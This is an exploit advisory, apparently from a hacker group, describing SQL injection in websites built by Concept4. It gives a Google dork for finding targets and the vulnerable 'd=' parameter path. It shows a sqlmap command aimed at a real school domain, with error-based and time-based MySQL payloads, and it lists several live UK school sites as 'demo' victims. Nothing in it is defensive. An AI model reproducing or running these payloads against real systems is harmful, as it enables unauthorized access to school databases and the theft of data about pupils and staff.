################################################################################# # Exploit Title:Design by Concept4 Sql İnjection Vulnerability # Author : TrazeR & Sipahiler & TurkZ.org # Google Dork : Website Design by Concept4 0R School website by Concept4 # Tested on : Kali Linux 2018.1 # Date : 14.03.2018 # Vendor Home: https://www.concept4.com/ # Blog : http://www.trazer.org/ # Forum : http://www.turkz.org/Forum/ # Telegram: https://t.me/turkzgrup ################################################################################# [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] Tutorial : [+] Dorking İn Google Or Other Search Enggine [+] Sqlmap Or Manuel [+] Sql GET Parameter "d=" İs Vulnerable [+] The Back-End DBMS is MySQL [+] Exp: /c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= [+] TARGET.com/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] root@TrazeR:~# sqlmap --timeout=10 --threads=10 --time-sec=2 --random-agent --level=5 --risk=3 --ignore-proxy --no-cast -u "http://nowerhill.org.uk/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d=" --dbs Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: cid=2048&d=' AND EXTRACTVALUE(2708,CONCAT(0x5c,0x71767a7671,(SELECT (ELT(2708=2708,1))),0x716b767071))-- jDtE Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind (comment) Payload: cid=2048&d=' OR SLEEP(2)# Demo Sql: http://www.manorfields.herts.sch.uk/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= http://www.moornook.co.uk/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= http://www.westleaschool.co.uk/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= http://www.horsforthschool.org/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= http://nowerhill.org.uk/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= http://www.manorfields.herts.sch.uk/c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= http://www.oldhall.co.uk//c4admin/popup/frontedit/newsletter-FCK-front.cfm?cid=2048&d= Greet'Zzz :TrazeR & Zer0day & Göcebe & Kutluhan & R4PTOR